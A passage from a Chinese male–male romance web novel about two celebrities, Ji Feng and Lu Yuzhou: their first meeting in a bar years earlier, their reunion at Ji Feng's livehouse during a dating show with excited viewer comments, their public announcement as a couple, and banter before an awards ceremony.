他那双眼睛不笑的时候显得很冷,这样湿漉漉望着人的时候却又显得很乖,小狗一样,季沨难得有耐心哄了他两句:“为什么不回家,跟父母闹矛盾了?” “他们根本不记得我的生日!今天是我的成人礼!”陆屿洲着重强调,“成人礼!” 确实是成人礼,这人身上穿了一套昂贵的西装,腕上还戴着手表,一丝不苟配了胸针和领夹。 小孩看起来气势汹汹的,好像这是什么天大的事情:“他们从来都不记得,明明我小时候还说要永远一家人一起过。” 季沨垂眸望着他,望着他从头到尾无一不精致的着装,一枚袖扣可能就抵上自己一个月的工资。 富裕又天真,在季沨为母亲的病而挣扎着要不要出卖尊严和人生的时候,他吃过最大的苦可能就是生日被人忽视了。 季沨甚至从来没过过生日。 为什么这个世界上,人和人要有这么多差距呢? 季沨心中一瞬间涌起无数的恶劣的念头,听着陆屿洲在自己面前絮絮:“我跟她说我喜欢男生,她居然只说祝我幸福,还要在我生日的那天结婚,她根本就不在意我,他们都不在意我……” “你喜欢男生?” 陆屿洲被打断,抬起眼睛,“我不知道, ”他喝醉了就会变得很乖,讲话也慢慢的,“我只是想气他们。” 他幼稚地以为这是天大的事情,结果在他的父母那里根本不值一提。 “那你想知道喜欢什么才叫喜欢男生吗,弟弟?” 陆屿洲睁大眼睛,看着季沨朝他招招手:“过来。” 他听话地走了过去,笑着的季沨身上有种异样的魔力,好像比这个世界上所有的酒都要诱人,陆屿洲贴近他,两人的距离只剩一指。 季沨弯起眼睛,漂亮眉眼好像是倒映在湖水里的星星,语气暧昧诱惑:“哥哥教你?” 温热的呼吸打在他的脖颈,季沨的嘴唇沿着他锁骨向上,却隔了一线的距离,可这样挑逗却让陆屿洲更加难受,胸膛不受控制地起伏着。 耳朵涨红,可是他一动也不敢动,若有似无的吻擦过脖颈,慢慢地移到陆屿洲的下巴。 季沨的动作在那微张的嘴唇停下。 他喜欢男人。 他很早就知道了。 当中学的同桌开始偷偷看片,而自己却只会因为女生流传的漫画上两个男人交织的身影心动时,他就已经知道了。 可是季沨没有告诉过任何人。 一个单身母亲带着他已经足够坎坷,他不能让她经受更多的流言。 更何况,在很多事的面前,性取向根本不重要。 季沨不由得又想起了那串电话号码,肺腑里突然一阵深刻的疼痛,如果这辈子真的只能这么选择,那不然趁着最后一晚…… 毕竟对方干净又俊美,应该是个不错的对象。 他抬眸看见陆屿洲的眼睛,那是男人无可掩饰的欲望,却又带着少年怯生生的青涩,耳垂通红,像只无措又害羞的动物。 他喝醉了。 明天大概率不会记得自己,如果结束得早,甚至不会记得发生了什么。 季沨微一抬脚,嘴唇刚要碰上。 陆屿洲在这个时候眨了一下眼睛。 男生的神色懵懂,却带着一无所知的信任。 那确实是……需要很多金钱和爱才能养出来的脆弱天真。 算了。 算了。 季沨突然又想。 陆屿洲又做错了什么呢,今天是他的生日,可能是他第一次来酒吧喝酒,可能是他初吻,他不过是幸运了些,却要从一个堆人的手里换到另一个人的人手里吗? 那自己和刚刚那群人有什么区别? 算了。 季沨将那串号码又背了一遍,好像这样就能让蒸腾起来的反胃感压住泛酸的情绪,后退一步,脊背靠住墙壁:“你……” 陆屿洲突然揽住他的腰身,猛地吻了上来。 温热的手上贴着他的腰,将他与身后的冰凉完全隔离起来,男生喝了酒,连嘴唇都是一样的炙热,他没接过吻,却不知为何在这种事情上有些无师自通的天赋,单纯的嘴唇触碰好像并不能满足内心的渴望与焦灼,陆屿洲忍不住握紧他的腰身让他贴近自己,舌头撬开口腔,刚刚喝下的酒液在两人的黏湿里过了一个来回。 可陆屿洲却还不肯满足,手指勾着他脖颈的choker微微勒紧,像一只刚长出牙齿的莽撞猎犬,手指轻抚那朵鸢尾:“哥哥……你好漂亮。” 季沨眼角发红,漂亮眼睛因此变得湿润,热切的侵犯掠夺了他的呼吸,大脑放空,快感让他短暂地忘了所有事。 陆屿洲松开的时候,季沨一只手扶着腰靠着墙喘息。 他眼眸低垂,好半晌才重新缓了过来,被一个比自己小两岁的男高抢了初吻,偷鸡不成蚀把米说的应该就是他这种吧? 季沨眼底滑过一丝嘲弄的苦笑,也没再管一旁站着的陆屿洲,直接从他的口袋里翻出手机,强行按着他的手解了锁,翻着手机找地址。 陆屿洲注视着他的眼睛,即便是喝醉了酒,他也能从这样明显的举止里判断出对面的人应该心情不佳:“你没事吧?” “没事儿,酒喝多了。”季沨眼睛不抬,是和之前对女生一模一样的回应,连笑容也是程式化的标准,指腹拼命地点着手机,“我给你打车回家。” 可是陆屿洲却突然俯下身,一只手捂住了他的眼睛,轻声道:“如果难过的话,可以不用笑的。” 季沨握着手机的手指一僵。 陆屿洲没有说话,他能感觉到对方睫毛的颤动,搭在季沨眼眸上的那只手开始变得湿润起来。 有咸涩的水落在他的手指上,好半晌,站着的季沨突然撕心裂肺地痛哭起来。 陆屿洲即便喝醉了都能感觉到那样深切的悲伤,好像一只走投无路的脆弱动物,轻轻一碰就会碎裂在眼前似的。 “别,你别哭。” 陆屿洲开始变得手足无措,把他抱在怀里,一只手急急忙忙地去拍季沨的后背:“对不起,对不起,你别哭了。” 他从小到大都没有这样安慰过人,显得笨拙又焦虑:“对不起,我给你唱歌好不好,我不会讲笑话,你别哭了,别哭了。” 陆屿洲把他按在自己的肩头,哼唱之前杰西卡给自己唱过的摇篮曲,一点一点地抚摸季沨的头发:“好了,好了,没事了。” “你乖乖地,不要哭了,你想要什么,我帮你去买好不好?” 他脑子混沌,只是重复着当时杰西卡说的话,可季沨却睁着一双发红的眼睛笑了下:“没事了,我又不是小孩子了。” 他已经是二十岁了,一早就知道,人应该为自己所有的选择负责。 “谢谢你,”季沨帮他叫了车,“早点回家吧,以后不要一个人来酒吧了,弟弟。” “还有,低度酒和高度酒味道是不一样的,不要谁给什么东西就乱喝。” 季沨说着摸了摸他的头发,目光中是很深刻哀戚。 他将陆屿洲送上车,抬手替他关了车门,陆屿洲隔着玻璃往后望,看着季沨一个人站在巷口,整个人几乎要被黑暗吞噬,好像再走一步,就要消失在他的视线里。 “等一下!” 陆屿洲突然跳下车,猛地回头往后跑。 季沨一抬头,看着男生飞快地朝着自己跑过来,修长的身影被路灯拉得很长,额头上是发亮的薄汗,他停住脚步,猛地在季沨面前站定:“哥哥。” 陆屿洲抬手将自己昂贵的腕表摘下来,不由分说地戴在了季沨的手腕上:“我十八岁的生日礼物,送给你。” 他没有见过这个人,他不会记得这个人,不会知道未来的某一天,他们会以怎样的面容再次相逢,但是此刻,他微喘着气,紧紧地攥着季沨,好像再晚一点就要失去一样,轻声开口: “我送给你,不要难过了。” 第65章 第六十五章 “所以……这才是‘相逢’?” livehouse的门口巨大的招牌闪烁着, 隋易坐在吧台边,询问握着吧勺的调酒师。 季沨的笑容被灯光打得发亮,连同身上特意打扮的胸针和领夹:“嗯。” “然后呢?” “然后……” 然后他在那家店等了七天, 去旁边的大学城里挨个打听入学的新生,或是外国学院的交换生, 一无所获。 却在一次偶然踏进某个新闻学院的文艺汇演时,被当时过来的星探看上。 郁容说得其实并不对, 阮嘉说得也不对, 季沨用自己出道几年的积蓄, 先赎回一块表,随后才盘下的一家店。 当初的酒吧被他做成livehouse, 这条街上所有的店都是会员制, 唯有“相逢”没有。 Buttland解散后, 母亲去世,季沨确实打算退圈的。 也许某一天,陆屿洲回国,偶然经过这里停下脚步, 会听到老板在台上唱歌。 也许他会因为歌声停下脚步, 坐在吧台。 等着那人结束演出,来给他调一杯酒喝。 也许这才是他们的“相逢”。 直到季沨打算解约的那一天,看到了那场“神明之约”。 当初天真羞涩的男神已经长成了矜贵俊美的男人, 他走在T台,整场的聚光灯都落在他的身上。 “等一下!” 季沨让司机停下了车, 如同陆屿洲当初突然奔回来一样, 握着剧本返回了剧组, 一脚踏进了刘庚的陷阱。 无知的猎物和莽撞的爱豆,从那一天开始, 季沨这个名字,终于开始彻底在圈里崭露头角。 用所有人都没有想象到的速度,在短短两年里,成了无论出现在哪里都会被灯光环绕的顶流。 成了典礼上,如果真的有一个人的名字和咖位要跟那位归国的超模放在一起,只能是两个字。 “但他不记得你?” “他喝醉了一向不记得人,”季沨轻轻笑了下。 “那他怎么会知道在这里,”隋易皱起眉,“在他心里,恐怕以为是……” “对,他不知道。”季沨垂下眼睛,“只有我知道。” 唯有这一点,他从来没有给陆屿洲任何提示。 没有那些运筹帷幄的算计,绞尽脑汁的指引,一步一步的诱哄,没有再问他“要不要来我找我”“要不要我留下”。 其实他只要往当初的庄园里一站,不管是节目还是对他们两个,这都是一个看起来万无一失的完美结局。 但是当郁容抛出问题的时候,陆屿洲并没有问过最后的答案。 所以剩下的,他来告诉他。 季沨不紧不慢地擦拭着杯子,神色似乎并没有因为刚刚的话有任何动容。 “那他万一真的找不过来,”隋易说,“你就不会担心害怕吗?” “当然会。” 季沨漂亮的眸子盯着门口晃动的灯带,轻声道:“当初那杯下了药的酒,我是喝了的。” 不然他就算演技再好,等视频真的放出来,也很难骗过所有人逐帧分析的眼睛,甚至都未必过得了郁容那一关。 季沨所有的保险,不过是怀里放了一把刀。 他拥有的太少,所以每一次赌注都必须压上所有的筹码,才能赢到最多。 “我当然会担心。”季沨望向空荡荡的门口:“这个世界上是没有真的运筹帷幄的赌徒的。” 若是什么事都能够完全有把握,那还叫什么赌。 季沨说完,转身就将手中的瓶子放回酒架。 门口的灯光突然晃了下。 * 修长的骨节搭在门把上。 陆屿洲指骨用力,一时间并没有握下。 “陆老师?陆老师?” 旁边的摄像提醒他:“这个应该是需要房卡的吧,你要不要问问前台,或者……” 陆屿洲脚步一顿,却在即将开门的一刹那,猛地松开手回过头,向着外面跑去。 “不是这里。” 他说,“不是这里。” “不是这里,不是这里那还能是……” 摄像的话还没有说完,陆屿洲已经拉开车门坐了进去,猛地一把方向,引擎发出剧烈的轰鸣,瞬间转过了街角。 摄像说得对。 不是这里还能是哪里? 陆屿洲的记忆止步于此,而在他所不知道的时候,他们是怎样完成了那样的一场相逢,是如何将手表戴到他的手腕上,又是在什么地方……忘记了这一切? 车子在高架上奔波,像一只扎进丛林的猛兽,身影被茂密的林叶覆盖,在无边的茫茫中寻找自己的猎物。 又或者是等待多时的猎人。 陆屿洲不记得这一切,但是他知道季沨腕上那只表是自己十八岁的生日礼物,他知道季沨曾经用所有积蓄盘下过一家酒吧,他知道季沨给它取名叫“相逢”。 他知道—— 季沨在那个房间的时候,陆屿洲一次也没有用到过房卡。 只要那个名为L的好友发来一句“我到了”。 季沨便会提前为他开好门。 他永远等待的猎物,他永远等待的猎人,他永远等待的爱人。 车子在灯红酒绿的街区停下,陆屿洲下了车,猛地一把推开了门。 季沨正抱着吉他坐在台上。 他穿了一件白色的西装,长腿垂在高脚凳下,聚光灯打在他的身上,好像是童话故事里的王子。 那些曾经经历过的苦难与挫折仿佛都变成了此刻披在身上的光,让他变得更加皎洁美丽。 季沨在唱歌。 不是陆屿洲之前唱过的那一首,而是当初让季沨上台却没教成的,Buttland的《Butterfly》,手指拨动琴弦,嗓音温柔,他唱: “爱便要作茧自缚,才相拥” “情偏要九死一生,才隆重” 原本团队的歌被他一个人唱出来,伴奏只剩了吉他,却显得莫名安静空旷,像是一个人在缓慢地讲述爱情。 指尖从琴弦扫过,季沨抬头看见陆屿洲的脸,两人隔着遥遥的灯火向往,好像是许多年,错失的一面。 乐曲由此转到高潮,季沨嗓音清澈,轻唱: “你我偏要跨过山海,才相逢。” 吉他落下最后一个尾音,季沨走下台,将手上的拨片放到一边,全场响起沸腾的掌声,季沨却浑然不觉,一直走到陆屿洲身边,才开口:“回来了?” 陆屿洲注视着他的眼睛,仿佛能从中看到隔着漫长山水的氤氲朦胧:“等很久了吗?” 于是季沨便笑了下。 “还好,”他弯起眼睛,又说,“还好。” 季沨走到吧台边,好像他是某一天的傍晚,突然走进店里的顾客:“想喝点什么?” 只是他乐意当调酒师,对方却不愿意站在原来的位置,跟着进来挤在旁边,肩膀贴着季沨的肩膀,连手臂也紧挨着,“不用你,”陆屿洲说,“我来调吧。” 季沨微一挑眉,意外地看了他一眼,却还是点头:“好。” 季沨没见过陆屿洲调酒,但见他捻起吧勺挽花的样子,居然还挺熟练,陆屿洲刚一拿起量杯,季沨便配合地从身后的酒架上取了瓶朗姆酒递给他。 指尖握住瓶口,陆屿洲抬眸看了季沨一眼。 “低度的。”季沨似乎知道他想问什么,“就你这点酒量,沾酒就醉了。” “我只喝你调的酒才会醉。” 季沨只当他在瞎说,但细想来,他所见的陆屿洲仅有的几次喝醉,好像真的都是他调的酒。 “不对,”季沨忽然又想到,“那你之前去……”他没提郝景的名字,只是道,“去朋友家,是怎么醉的?” “我那是因为过敏。” “酒精过敏?” “混酒才会,”陆屿洲边说边把蓝橙力往朗姆里加,看到季沨的眼神,又道,“季老师调的例外。” 季沨笑了,说情话也应该有点实际:“我又不是医生。” “但是我当时真的觉得那个调酒师的酒很不错,所以才喝多的……”陆屿洲一只手挤着青柠汁,眼眸低垂,“季沨,那是我第一次一个人出来喝酒。” “我知道,酒量那么差有没有防备心,”季沨笑了下,“才那么大一点就学人泡酒吧了?” 话题终于还是到了这里,陆屿洲看着季沨抬起眼睛,下巴微微一抬:“你当时就坐在那。” “坐在那里,”季沨指了指边缘的位置,“窗台边。” 那里离吧台很远,原本当时装修的时候是要用来给舞台做中控调音的,可不知为何保留了下来,而且一般不对外售票。 “不过你那时候喝醉了,我们隔得又那么远,”季沨望了眼旁边的摄像,像是为了解释刚刚陆屿洲一瞬间的失神,又轻声道,“应该不记得我。” 【卧槽卧槽卧槽!!!所以他们俩早就认识吗?】 【听这个语气,居然还是季沨先认识陆屿洲!我的妈呀啊啊啊啊】 【对不起陆屿洲,我之前还以为你是舔狗,他妈的看这个样子,其实你老婆才是钓系吧卧槽卧槽!!!】 【如果真的是这样,那么我们盘一下整个故事的逻辑!!!!我擦啊啊啊啊啊啊季沨不是顶级钓系是什么啊!!!】 【等一下等一下,所以这不是剧本吗?你们到底在盘什么?】 【如果陆屿洲一开始就跑过来跟季沨发糖我还觉得可能是剧本,但是他都跑错一次了,什么剧本会设计出这种情节,不怕蒸煮被CP粉冲死吗?】 【卧槽,所以是季沨认识陆屿洲之后一步一步地勾搭人家?妈耶这下逻辑就通了,陆屿洲这种纯情男生遇到季沨还不被吃得死死的!】 【啊啊啊啊我就说钓系和小狗就是最配的!!!】 季沨这话一出口,整个故事的焦点瞬间从上赶着的陆屿洲便到了季沨为了拿捏陆屿洲暗戳戳做了多少事。 连带着当初的聊天记录都变成了欲擒故纵的一环。 如果一个人只是单方面的信息轰炸还能说得上是舔,但是两个人一唱一和……就像是仙侠剧里喜欢给魔头配一个挚爱一样,其中所有人的举动都会因为爱的光晕而变得可爱和甜蜜起来。 陆屿洲知道季沨是故意这么说。 他知道季沨是故意为他说话,郝景听不得别人骂他,难道连江沼多说两句都要踹他一脚的季沨就听得?他只不过会比郝景做得更隐蔽跟周全。 陆屿洲终于明白。 季沨就是故意不给他提示的。 只有他跑错了那一圈,这件事才能显得更加可信。 “谁说我不记得,”陆屿洲将酒液放在摇壶里,一只手摇晃着,语气和五年前季沨说他未成年时一模一样,“我记得!” 手臂因此被拉扯出线条,露出被衬衫箍出的紧实肌肉,季沨微一挑眉:“你记得什么?” 摇壶砰的一声落在桌面上,陆屿洲转过身:“我记得……” “是我跟宋哥说让你来这个恋综,是我求了很久才让他把我跟你分在一组,第三期的时候,是我去通知你。” “是我想见到你,才把节目提前的。” 陆屿洲的手撑在吧台上,盯着季沨的眼睛: “是我先追的你,季沨。” 【啊啊啊啊啊啊啊陆屿洲你在说什么卧槽你小子这是你能干出来的事情吗?】 【他妈的谁问你了陆屿洲,上来就自爆!哪家蒸煮这么能爆让人家狗仔怎么活!!!】 【妈呀这种事你们都要抢,甜死我算了啊啊啊啊啊啊!】 “是吗?” 青柠加了进去,季沨拿起削好的西柚丢进榨汁机,机器的嗡鸣盖住了一部分声音,但那嗓音里是很明显的笑意: “可是我也记得……是我先跟你提的分开,是我接了广告单子在摄影棚遇见你,是我自己叫了初禾跟我出门?” 【啊啊啊啊啊啊啊卧槽!!!我就知道!!!我就是知道是季沨故意的!!!】 【季沨跟初禾那天绝对是看到了陆屿洲的表情!!!!所以才借位的!!!】 【还有摘橘子那天,季沨故意没等他,结果没过多久陆屿洲就委屈屈跟过来了啊啊啊!!!卧槽细思极恐啊啊啊这也太会钓了吧哥!!!】 【所以连恋综也是季沨故意让陆屿洲邀请设计让自己过来的吗?啊啊啊啊啊卧槽啊这不是顶级钓系是什么这不是顶级钓系是什么!!!卧槽啊!】 季沨好像已经猜到了此刻的弹幕会如何嚎叫,轻飘飘几句话便将时间线拉回到了恋综之前,仿佛是一定要在这种事上争个输赢。 西柚榨好了汁,被陆屿洲抬手接过来,酒液里开始呈现出漂亮的橙红质地,砰得一声放了几个冰块。 “可是,是我先在人群里一眼看到你——” 陆屿洲非要再把时间线往前移,好像是最后动心的那个就输了一样:“是我先忍不住过去跟你搭讪,是我喝了你的酒。” 那些从前心照不宣的话统统在这个时候坦诚,好像是异常迟来的剖白,陆屿洲想起刚刚的房间,开口道:“季沨,是我先带你上楼。” 如果一定是有先堕落的那一个,陆屿洲几乎非常确信会是自己。 西柚汁注入朗姆,其上再加调好的蓝橙力娇酒,于是冰蓝沿着那一点黄蔓延而下,如同白昼吞没日出。 如同他们在蓬塔阿雷纳斯,交握着看太阳慢慢跃升。 “可是,”季沨替他说了转折,“你怎么知道那天我不是……” 不是早就知道他要回国,不是等了两年才策划出这样一场重逢,郁容夸他运筹帷幄,其实不对。 如果你将一件事在两年里反反复复过了那么多遍,你也会驾轻就熟。 “季沨。” 可是季沨还没来得及说出下一句,陆屿洲突然打断他:“我知道得应该比你以为得要多一点。” 调好的酒被放进玻璃杯,大面积的深蓝和一点点缀的暖黄。 陆屿洲手中微微一晃轻声道:“比如,其实我知道这杯酒的名字。” 那是之前季沨在恋综上调过的—— “爱在黎明降临前。” “抱歉。”陆屿洲的手指轻轻地抚了下杯子,“等了这么久,才带你去看日出。” “以及——” 陆屿洲含了一口酒,在季沨愣神之时,猛地吻了上去,酒液从一个人的口腔渡到另一个人的口腔,陆屿洲的吻技远比当年的男生要娴熟热切,手指紧扣着他的腰身,几乎让人喘不过气,季沨只能在鼓噪的耳膜边听到他道: “我来还当年那个吻了,哥哥。” * 季沨浑身一震,陆屿洲垂眸吻上他微红的眼眶。 灯火映在他们的身上,live里有乐队在唱歌,吉他和鼓声交织响起,粉丝们都在忙着截图,这一幕几乎成为“记录”超话里震圈般的存在。 没有人知道,陆屿洲放在一旁的手机里,静静地躺着一段聊天记录。 “那一天……季沨到底跟你说了什么?” 何皎皎:【季哥说,不是初恋——】 【是他的初吻。】 曾经笨拙的人终于在一刻学会了这些无伤大雅的手段,在季沨学会偶尔审视自己内心的时候,陆屿洲也学会了用一些狐狸的习性。 正如季沨不愿意让众人议论。 他不愿意在众人眼里,是季沨先喜欢上的他。 他们彼此沾染,彼此影响,彼此默契。 简直天生一对。 * 酒杯举起,轻轻一碰。 宋骁含笑望着面前的人:“我是不是该祝你得偿所愿?” “谢谢。”季沨笑着应了这一杯,只是杯口比宋骁稍低了一些,是一个后辈的礼貌谦逊,“电影的事,还是谢谢前辈。” 那是第二期结束,季沨和宋骁定下的赌约。 如果季沨能顺利渡过这个坎,宋骁就用手中的资源帮他牵桥搭线。 “没问题,”宋骁点点头,“你演技很好,邱导应该会很欣赏你。” 他这人自负,生平跟人打过不少赌,这还是第一次心服口服。 不过季沨态度也足够让人舒服,捧着杯中的酒,一饮而尽:“那就多谢前辈了。” “不用谢我,他用你反而要蹭你的热度才是,这段时间谁不知道你才是断层流量,潘叙做个宣传海报恨不得把你的脸全给放进去。” 季沨轻笑了下,手中的杯子转了个圈,忽然听到宋骁问:“不过……我这段时间听到两个说法。” “什么?” “有一个说你铤而走险孤注一掷,都是为了控制舆论更好地跟小陆在一起,”宋骁晃了晃杯子,“另一个,则是说你机关算尽,利用所有人当自己平步青云的工具。” “你觉得这两个说法,哪一个比较像是真的?” 季沨端着酒杯,慢悠悠地笑了:“那宋哥信哪一个?” “相由心生,单纯的人只看得到善意,功利之心满是功利,”宋骁双手交叠放在膝上,“我哪个都不信。” 季沨笑着帮他添了杯酒。 “你没有什么想问我的吗?”宋骁看他一眼,他似乎早就猜到了什么,于是才问,“关于小陆的?” 季沨知道宋骁是什么意思,但他轻轻地摇了摇头。 就像是陆屿洲没有问过郁容最后的答案一样,他也并不需要问陆屿洲是不是真的记得。 “我以前以为,什么事都要牢牢地握在自己手心里,都要走一步看三步,但是现在想想,其实并不是这样。” 曾经那么笃定的事,很多时候还是会遇到意外,他阻挡不了疾病和意外,也阻挡不了生活的反复无常,更阻挡不了人心。 “我之所以能这么顺利,不是因为我有多高明,”季沨直到现在才说出这句话,垂下眼睛轻轻笑了下,“只是因为他喜欢我。” 之所以能放心提出分手,放心地来恋综,放心地任由网上的评论发酵,不过是因为陆屿洲是真的喜欢他。 那些手段只有能够得到回应才算是手段,否则不过是败笔。 “你现在的这个说法,好像是一个优秀的牌手,某一天突然推翻牌桌,说自己之所以赢了这么多,全都是靠运气。” “打牌难道不是本来就靠运气吗?” 季沨笑道:“我的运气,确实是从遇见他开始的。” 他的前二十年过得颠沛流离,偏偏从遇见陆屿洲的那一刻开始,像中了彩票一样,事业一路扶摇直上,平步青云。 季沨的眼中幸福太过真实,于是有那么一瞬间,宋骁觉得也许之前季沨说过的话或许是真的。 这个世界上,可能真的有人能爱上一个人的全部。 无论那些部分会如何的变化。 “我走了。”季沨站起身,“还有件重要的事情没做。” “什么事?” 季沨晃晃手机:“官宣。” 他的爱人追了他那么久,既然找到了地方。 那么他也该兑现承诺。 季沨靠在门边编辑好了文案,刚刚点击发送,便看到一旁放下手机,朝着他走来的陆屿洲。 “走吗?” “好。” 季沨一伸手,陆屿洲便扣上他的手指,牵着他的指骨亲吻了一下,又说:“这还是第一次,录制结束之后我跟你一起回去。” 手指滑落到胸口,陆屿洲将季沨的指尖按在自己的心口:“我现在心跳都是快的,季沨。” 这话实在很像网上某个热梗,季沨忍不住笑了起来:“那怎么办,导演还跟我告状说你今天飙车呢,你这心理素质,我能放心上你的车吗?” 季沨说着抬腿要走:“我看不然我还是……” “季沨!” 虽然这样一万次,陆屿洲还是很容易着急,一只手按着他的肩膀:“我现在是不是你男朋友?” “你说呢?” “我怎么说,”陆屿洲的手指轻抚他的脖颈,“明明是你,故意让我进你家,故意让我跟你躺在一张床上,故意跟人暧昧让我吃醋……” “季老师,你对除了男朋友以外的人也这样吗?” 季沨笑了,反手按住他的肩抵在墙上,两人瞬间换了一个身位:“那你呢,陆老师?” “明明早就设计让我来恋综,明明早就控制不住跟我搭讪,还非要这么大费周章,”季沨戳戳他的领口,倒打一耙,“我怎么知道你不是在欲擒故纵啊,洲洲?” 陆屿洲在撩人这方面仿佛总是棋差一招,季沨轻飘飘一个称呼就让他耳垂通红,但是手上的力气却一点没松,手腕一转微微顶膝,几乎将季沨整个人扣在了怀里: “那我现在擒到了吗,哥哥?” 耳垂因为飘来的气息有点发热,季沨偏过头,在陆屿洲耳朵上咬了一下,才轻声道:“好吧,男朋友。” 口袋里的手机响个不停,两个人都没有看对方发了什么,只有那一刻差点崩溃的微博完整地记录了他们刚刚一模一样的官宣文案—— 陆屿洲&季沨:【没错,我对他是一见钟情。】 【正文完结】 第66章 第六十六章 “卧槽!!! 今天的颁奖典礼是季沨跟陆屿洲走双人!!!” “啊啊啊啊终于合体了卧槽卧槽卧槽!!!” “记录CP已经出现, 怎么能够停滞不前!” “啊啊啊他们俩半个月没见了吧你们不着急我着急啊快快快!” “能不能给我快进到晚上直播,老子要看直播直播!!!” 金钟奖作为内娱三大奖之一,光是一个位置就足够风风雨雨, 每个人都绞尽脑汁地想要在其中出个镜。 可是整个典礼最核心的第一排,居然空出了两个位置不给大导, 反而给了两个还很年轻的流量。 座位席上是早就放好的名片卡。 一个叫季沨,另一个叫陆屿洲。 无他, 纯靠热度。 作为内娱第一大CP, 两人的任何合体都可能引爆一场热搜, 更何况是这种级别的典礼。 再加上,季沨的新作《帝台春》刚一播出收视率就破了纪录, 精湛的演技让季沨一跃提名金钟的最佳男主, 成为历来提名者里最年轻的一个。 所有人都在等着季沨的亮相, 可是典礼开始还没开始,各大红蓝血放出的合作消息里,大牌的全球首穿高定,季沨居然一个也没有。 他这种级别的明星怎么可能收不到邀约, 唯一的可能就是都给拒了, 这种场合不要大牌……季沨的典礼着装立刻成了各家争相打探的谜题。 大半个场地的娱记都蹲在了这里,保姆车还没到,现场就堵了个水泄不通。 “季老师!季老师看这里!!!” “季老师关于这次提名你有什么想法吗?有信心自己能够拿到奖项吗?” “听说你这次一次合作都没有接, 是真的没有收到邀约,还是已经决定不再追逐时尚呢?” “有人拍到之前你在酒吧跟小明星暧昧, 你花名在外, 陆老师他知道吗?” 长枪大炮堵到中央, 吞人的蟒蛇一样往里伸,拥挤程度连车门都差点打不开, 工作人员好容易推开一点空位,众人立刻扑了上去—— “季老师!!季老师看这里!!季老师!!!” 咔嚓咔嚓咔嚓咔嚓咔嚓! 散光噼里啪啦闪了一圈,众人才看清那出现在镜头里的人是谁。 那张脸即便是隔着重重人影被放大,依然挑不出任何瑕疵,陆屿洲接过话筒,先幽幽地扫了眼刚刚说他季沨带小明星的那位。 视线在他话筒上的名牌一顿,那人立刻瑟缩着后退两步。 陆屿洲这才清清嗓子,冷声道:“去酒吧只是谈个合作,那酒吧是季老师朋友的,方便而已。” “我们感情很好,不会因为这一点小事有什么矛盾,你们可以省省心了。” “季老师不在。” 娱记还试图怼着镜头往后拍,被陆屿洲一把关上了门,态度决绝冷淡,“有什么事问我就行了。” * “季老师,这边请。” 休息区里,工作人员正领着季沨往里走,小助理跟在身边,忍不住赞叹道:“陆老师真聪明,提前给季哥你换了辆车!” “不过他干嘛不跟咱们一起坐这辆啊?”小助理说,“外面肯定很多人堵他。” 季沨将墨镜摘了递给他:“毕竟各大媒体都过来了,总不好让人家一个人也拍不上,应付一下场面。” 还有一个原因季沨没说,自从季沨之前一个人下车手撕私生之后,但凡这种有追车的节目,陆屿洲再也没有让他一个人去过了,即便是自己来不了,也要在季沨车上放两个保镖。 但这话听起来更像是夫夫两个去一个代表就够了,小助理捂着嘴偷笑,刚下楼梯被季沨眼疾手快扶了一下:“想什么呢,站稳。” 即便是这俩人大概率只会共用一个,主办方还是大方地给了两个单人休息室,季沨还没进去,莫可便从其中一个窜了出来。 星图现在正到处裁员,他便把莫可收了进来,让他做了自己的执行经纪,但这人之前就没有郁容稳重,现在看来依然是:“沨哥沨哥沨哥!!” “快快快你现在别着急坐,”莫可风风火火,后面还跟了两个化妆师,“典礼的服装我这边弄了四份备选,都是首穿的搞定,你快过来选一下!” “不是都跟你说了不用吗?” “怎么可能不用!”莫可简直要跳起来,“这可是你第一次提名这种奖项,要是颁奖的时候连件像样的衣服都没有,会被粉丝把祖坟一起刨了吧!” “怎么就没有像样的衣服,”季沨轻轻抚了下额头 ,“陆老师不是说了……” “陆老师?! 陆老师说他来办我们就能不管了吗?我跟他要了几次成品图他都没给我,万一他搞砸了怎么办,你知不知道,干我们这行的,信任男人就是自己倒霉的开始,沨哥你现在谈个恋爱你真是。” “行了,提名的是我,怎么感觉你们一个个比我还紧张,而且这还未必能拿奖吧?” 莫可刚要说什么,季沨就一把揽住他的肩将他给按了回去:“去跟小杨一起喝杯咖啡,这边的事不用你忙了,颁奖的时候记得过来就行了。” “这怎么能行!沨哥你妆造还没做呢,还有那衣服……” 季沨轻轻地笑了下,转头看到朝着这边走来的陆屿洲:“我男朋友说了,这些他来弄。” “他来,他一个模特他懂什么,”莫可没看到,“我都跟你说了不能太相信男人,你怎么就……” “怎么就什么?” 清冷的嗓音从头顶响起,莫可一个激灵,陆屿洲便握着季沨的手腕将季沨搭在他的肩上的那只手拿了下来,动作熟练地扣在掌心,随后才道:“我要是再听到你们在背后跟季老师说我坏话,这个季度的奖金全扣了。” 那毕竟还是奖金比较重要,莫可火速站直闭嘴了。 “好了,他吓你们的。”季沨笑笑,“你们奖金是我发的,怕他干什么。” “去旁边坐会儿吧,这里真不需要你们帮忙。” 送走了两位助理,季沨这才顾上陆屿洲,房门一关,轻轻地捏了下他外人面前绷成冰雕的脸:“连个助理你都要跟人争一下,陆老师,你几岁啦?” “谁让他先说我!”冰雕一瞬间变成萨摩耶,“再说了,我都没有吹枕边风问你要他还是要我呢?” “你吹枕边风?” 季沨忍不住笑了下,“那我要检查一下陆老师做祸国妖妃够不够格了?” 他说着伸出手,朝着陆屿洲脸上摸去,指腹从额头一路点过嘴唇,陆屿洲本来不觉得有什么,现下还真的有点紧张起来:“怎么?” 季沨的手指在他的侧脸停了下,指尖是触感清晰的骨骼轮廓,轻声道:“好像瘦了。” 季沨在拍电影,陆屿洲那里的设计也在收尾,日日泡在工厂盯货,两个人都快小半月没见了。 他话音刚落,就被陆屿洲按着腰身抵在门板上:“你还说。” 脑袋在季沨的脖颈蹭了蹭:“这么多天,你都不想我的。” “怎么不想你,”季沨摸摸他的头发,“不是每天都有视频吗?” “视频怎么能一样?”陆屿洲咬他的耳朵,“你都不来看我。” 季沨有点无辜:“你自己在朋友圈发最近工作收尾不让别人打扰的。” “你是别人吗?”陆屿洲强调,“季沨,你是我男朋友!” “好好好。” 季沨捏捏他的脸:“你前两天吃饭的时候没有觉得味道不一样吗?” “!那天中午果然是你做的?!我就知道!明文还跟我说是去外面饭店买的!”陆屿洲高兴起来,忍不住亲他的眼睛,“你怎么过来了不告诉我,我都没有出去接你。” “告诉你我们俩晚上还能睡觉?” “季沨,我又不是没有一点控制力,”陆屿洲很不满意,“你下次要是再这样,我就……” 季沨微一挑眉,眼角带着笑:“就怎么样?” 陆屿洲按着他的头发吻了下去。 